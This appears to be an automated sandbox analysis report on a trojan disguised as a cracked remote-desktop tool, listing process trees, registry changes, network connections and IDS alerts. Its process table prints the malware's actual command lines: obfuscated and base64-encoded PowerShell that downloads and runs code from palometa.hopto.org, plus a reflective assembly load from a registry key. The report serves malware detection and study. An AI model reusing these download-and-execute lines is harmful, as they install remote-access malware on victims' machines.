| File name: | ooooooooooooo.zip |
| Full analysis: | https://app.any.run/tasks/8c645589-5b00-4eb3-b54d-de3c8386d989 |
| Verdict: | Malicious activity |
| Threats: | Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. |
| Analysis date: | December 19, 2019, 17:45:39 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/zip |
| File info: | Zip archive data, at least v2.0 to extract |
| MD5: | 036209753267C9EA875F408696A5F228 |
| SHA1: | E022640F30354BCAA636D12348A275CF43CE6F7F |
| SHA256: | 2A1F758211370CAAD9B9B149369A248BB2EA5087839E2EF983770885C4E55D1C |
| SSDEEP: | 98304:nGJwJPpz+vKw4lQk4kNic7Zr2xWUGdIOeYhF45uqPxyEYCgW6l28DGy3P:n5p3lkkNi6r2xMdIjYhm5uq5GdBU833P |
MALICIOUS
Writes to a start menu file
- WScript.exe (PID: 3808)
- WScript.exe (PID: 2500)
- WScript.exe (PID: 1732)
Changes the autorun value in the registry
- WScript.exe (PID: 3808)
SUSPICIOUS
Executable content was dropped or overwritten
- TScrack.exe (PID: 2600)
Reads Internet Cache Settings
- powershell.exe (PID: 2400)
Executes PowerShell scripts
- WScript.exe (PID: 1732)
- WScript.exe (PID: 2500)
- WScript.exe (PID: 2380)
Executes scripts
- TScrack.exe (PID: 2600)
Creates files in the user directory
- TScrack.exe (PID: 2600)
- powershell.exe (PID: 3988)
- WScript.exe (PID: 3808)
- WScript.exe (PID: 2500)
- powershell.exe (PID: 892)
- WScript.exe (PID: 1732)
- powershell.exe (PID: 2400)
Connects to unusual port
- powershell.exe (PID: 2400)
- powershell.exe (PID: 892)
- WScript.exe (PID: 3808)
Checks for external IP
- WScript.exe (PID: 3808)
INFO
Manual execution by user
- TScrack.exe (PID: 1404)
- TScrack.exe (PID: 2600)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .zip | | | ZIP compressed archive (100) |
|---|
EXIF
ZIP
| ZipRequiredVersion: | 20 |
|---|---|
| ZipBitFlag: | - |
| ZipCompression: | None |
| ZipModifyDate: | 2019:12:19 14:19:11 |
| ZipCRC: | 0x00000000 |
| ZipCompressedSize: | - |
| ZipUncompressedSize: | - |
| ZipFileName: | [Cracked]TScrack 2019+Rdesktop v1.9.0/ |
Total processes
52
Monitored processes
10
Malicious processes
2
Suspicious processes
2
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 892 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExEcUtIoNPoLiCy ByPAsS -wInDoWStYlE hIdDEn -noexit -command &('I'+'EX')(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('http://palometa.hopto.org/np.jpg') | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WScript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1404 | "C:\Users\admin\Desktop\[Cracked]TScrack 2019+Rdesktop v1.9.0\TScrack.exe" | C:\Users\admin\Desktop\[Cracked]TScrack 2019+Rdesktop v1.9.0\TScrack.exe | — | explorer.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 3221226540 Modules
| |||||||||||||||
| 1732 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Roaming\list.vbs" | C:\Windows\System32\WScript.exe | TScrack.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 2380 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Roaming\np.vbs" | C:\Windows\System32\WScript.exe | — | TScrack.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 2400 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -enc DQAKACQAQQBTAEUAcwBkAEEAVwAgACAAPQAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBSADAAVgBVACcAKQApAA0ACgAkAGgAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAE0AcwB4AG0AbAAyAC4AWABNAEwASABUAFQAUAA7ACQAaAAuAG8AcABlAG4AKAAkAEEAUwBFAHMAZABBAFcALAAnAGgAdAB0AHAAOgAvAC8AcABhAGwAbwBtAGUAdABhAC4AaABvAHAAdABvAC4AbwByAGcALwByAHIALgBqAHAAZwAnACwAJABmAGEAbABzAGUAKQA7ACQAaAAuAHMAZQBuAGQAKAApADsALgAoAC0AagBvAGkAbgBbAGMAaABhAHIAWwBdAF0AKAAxADAANQAsADEAMAAxACwAMQAyADAAKQApACAAJABoAC4AcgBlAHMAcABvAG4AcwBlAFQAZQB4AHQADQAKAA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WScript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2500 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Roaming\Rs.vbs" | C:\Windows\System32\WScript.exe | TScrack.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 2600 | "C:\Users\admin\Desktop\[Cracked]TScrack 2019+Rdesktop v1.9.0\TScrack.exe" | C:\Users\admin\Desktop\[Cracked]TScrack 2019+Rdesktop v1.9.0\TScrack.exe | explorer.exe | ||||||||||||
User: admin Integrity Level: HIGH Exit code: 0 Modules
| |||||||||||||||
| 2684 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\Desktop\ooooooooooooo.zip" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe | |||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.60.0 Modules
| |||||||||||||||
| 3808 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Roaming\ws.js" | C:\Windows\System32\WScript.exe | TScrack.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 3988 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit [Reflection.Assembly]::'Load'((Get-ItemProperty HKCU:\Software\IbFcSyvSNy).bAzQxFZh).'EntryPoint'.'Invoke'($Null,$Null) | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | WScript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
1 948
Read events
1 717
Write events
231
Delete events
0
Modification events
| (PID) Process: | (2684) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtBMP |
Value: | |||
| (PID) Process: | (2684) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtIcon |
Value: | |||
| (PID) Process: | (2684) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\12B\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2684) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\Desktop\ooooooooooooo.zip | |||
| (PID) Process: | (2684) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (2684) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (2684) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
| (PID) Process: | (2684) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | mtime |
Value: 100 | |||
| (PID) Process: | (2600) TScrack.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (2600) TScrack.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
Executable files
1
Suspicious files
6
Text files
10
Unknown types
1
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2684 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2684.9150\[Cracked]TScrack 2019+Rdesktop v1.9.0\asn.c | — | |
MD5:— | SHA256:— | |||
| 2684 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2684.9150\[Cracked]TScrack 2019+Rdesktop v1.9.0\asn.h | — | |
MD5:— | SHA256:— | |||
| 2684 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2684.9150\[Cracked]TScrack 2019+Rdesktop v1.9.0\bitmap.c | — | |
MD5:— | SHA256:— | |||
| 2684 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2684.9150\[Cracked]TScrack 2019+Rdesktop v1.9.0\bootstrap | — | |
MD5:— | SHA256:— | |||
| 2684 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2684.9150\[Cracked]TScrack 2019+Rdesktop v1.9.0\cache.c | — | |
MD5:— | SHA256:— | |||
| 2684 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2684.9150\[Cracked]TScrack 2019+Rdesktop v1.9.0\channels.c | — | |
MD5:— | SHA256:— | |||
| 2684 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2684.9150\[Cracked]TScrack 2019+Rdesktop v1.9.0\cliprdr.c | — | |
MD5:— | SHA256:— | |||
| 2684 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2684.9150\[Cracked]TScrack 2019+Rdesktop v1.9.0\config.guess | — | |
MD5:— | SHA256:— | |||
| 2684 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2684.9150\[Cracked]TScrack 2019+Rdesktop v1.9.0\config.sub | — | |
MD5:— | SHA256:— | |||
| 2684 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2684.9150\[Cracked]TScrack 2019+Rdesktop v1.9.0\configure | — | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
6
DNS requests
2
Threats
8
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
892 | powershell.exe | GET | 200 | 81.61.77.92:80 | http://palometa.hopto.org/nn.jpg | ES | text | 42.6 Kb | malicious |
2400 | powershell.exe | GET | 200 | 81.61.77.92:80 | http://palometa.hopto.org/rr.jpg | ES | text | 40.2 Kb | malicious |
892 | powershell.exe | GET | 200 | 81.61.77.92:80 | http://palometa.hopto.org/np.jpg | ES | text | 8.79 Kb | malicious |
3808 | WScript.exe | GET | 200 | 208.95.112.1:80 | http://ip-api.com/json/ | unknown | text | 298 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
892 | powershell.exe | 81.61.77.92:80 | palometa.hopto.org | Vodafone Ono, S.A. | ES | malicious |
2400 | powershell.exe | 81.61.77.92:80 | palometa.hopto.org | Vodafone Ono, S.A. | ES | malicious |
2400 | powershell.exe | 81.61.77.92:3344 | palometa.hopto.org | Vodafone Ono, S.A. | ES | malicious |
892 | powershell.exe | 81.61.77.92:5553 | palometa.hopto.org | Vodafone Ono, S.A. | ES | malicious |
3808 | WScript.exe | 81.61.77.92:8000 | palometa.hopto.org | Vodafone Ono, S.A. | ES | malicious |
3808 | WScript.exe | 208.95.112.1:80 | ip-api.com | IBURST | — | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
palometa.hopto.org |
| malicious |
ip-api.com |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
1080 | svchost.exe | Potentially Bad Traffic | ET POLICY DNS Query to DynDNS Domain *.hopto .org |
892 | powershell.exe | Potentially Bad Traffic | ET INFO HTTP Connection To DDNS Domain Hopto.org |
2400 | powershell.exe | Potentially Bad Traffic | ET INFO HTTP Connection To DDNS Domain Hopto.org |
892 | powershell.exe | Potentially Bad Traffic | ET INFO HTTP Connection To DDNS Domain Hopto.org |
892 | powershell.exe | Misc activity | SUSPICIOUS [PTsecurity] Executable base64 Payload |
3808 | WScript.exe | Potential Corporate Privacy Violation | ET POLICY External IP Lookup ip-api.com |
3808 | WScript.exe | Potential Corporate Privacy Violation | AV POLICY Internal Host Retrieving External IP Address (ip-api. com) |
1 ETPRO signatures available at the full report